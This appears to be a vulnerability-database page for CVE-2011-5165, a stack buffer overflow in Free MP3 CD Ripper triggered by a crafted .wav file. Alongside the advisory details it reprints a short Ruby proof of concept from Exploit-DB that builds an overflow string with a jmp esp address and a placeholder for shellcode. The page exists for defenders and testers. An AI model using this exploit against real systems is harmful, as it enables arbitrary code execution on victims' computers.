CVE-2011-5165
Description
Stack-based buffer overflow in Free MP3 CD Ripper 1.1, 2.6 and earlier, when converting a file, allows user-assisted remote attackers to execute arbitrary code via a crafted .wav file.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Free MP3 CD Ripper 2.6 - '.wav' (PoC)
# Exploit Title: Free MP3 CD Ripper 2.6 (wav) 0-day
# Date: 30/03/2010
# Author: Richard leahy
# Software Link: http://www.soft32.com/Download/Free/Free_MP3_CD_Ripper/4-250188-1.html
# Version: 2.6
# Tested on: Windows Xp Sp2
#to exploit this open up the application select file -> wav converter -> wav to mp3
#use your favourite programming language and print out the contents into a text file. save the text #file as a .wav
#then open up the wav file and boom.
#feel free to email me leahy_rich@hotmail.com
#code
!#/usr/bin/env ruby
nop = "\x90" # nop
shellcode = "\xCC" #just an interupt can be replaced by proper shellcode
jmp_esp = "\x32\xfa\xca\x76" #find a jmp esp i will use imagehlp , little endian so reverse it
boom = "A" * 4112 + jmp_esp + nop * 50 + shellcode
puts boomFree MP3 CD Ripper 1.1 - '.wav' Local Stack Buffer Overflow (Metasploit)
Free MP3 CD Ripper 1.1 - Local Buffer Overflow
Free MP3 CD Ripper 2.6 - '.wav' Local Buffer Overflow
Free MP3 CD Ripper 2.6 - '.wav' Local Overflow
Free MP3 CD Ripper 2.6 - '.wav' Local Stack Buffer Overflow
Free MP3 CD Ripper 2.6 2.8 - '.wav' File Buffer Overflow (SEH)
Free MP3 CD Ripper 2.6 2.8 (Windows 7) - '.wav' File Buffer Overflow (SEH) (DEP Bypass)
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| cleanersoft | free_mp3_cd_ripper | {"endIncluding":"2.6"} | |
| cleanersoft | free_mp3_cd_ripper | 1.1 | |
| cleanersoft | free_mp3_cd_ripper | 2.5 | |
References
- http://secunia.com/advisories/39193
- http://www.exploit-db.com/exploits/11975
- http://www.exploit-db.com/exploits/11976
- http://www.exploit-db.com/exploits/17727
- http://www.exploit-db.com/exploits/18142
- http://www.osvdb.org/63349
- http://www.securityfocus.com/bid/39672
- https://www.exploit-db.com/exploits/36465/
- https://www.exploit-db.com/exploits/36826/
- https://www.exploit-db.com/exploits/36827/
- http://secunia.com/advisories/39193
- http://www.exploit-db.com/exploits/11975
- http://www.exploit-db.com/exploits/11976
- http://www.exploit-db.com/exploits/17727
- http://www.exploit-db.com/exploits/18142
- http://www.osvdb.org/63349
- http://www.securityfocus.com/bid/39672
- https://www.exploit-db.com/exploits/36465/
- https://www.exploit-db.com/exploits/36826/
- https://www.exploit-db.com/exploits/36827/
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.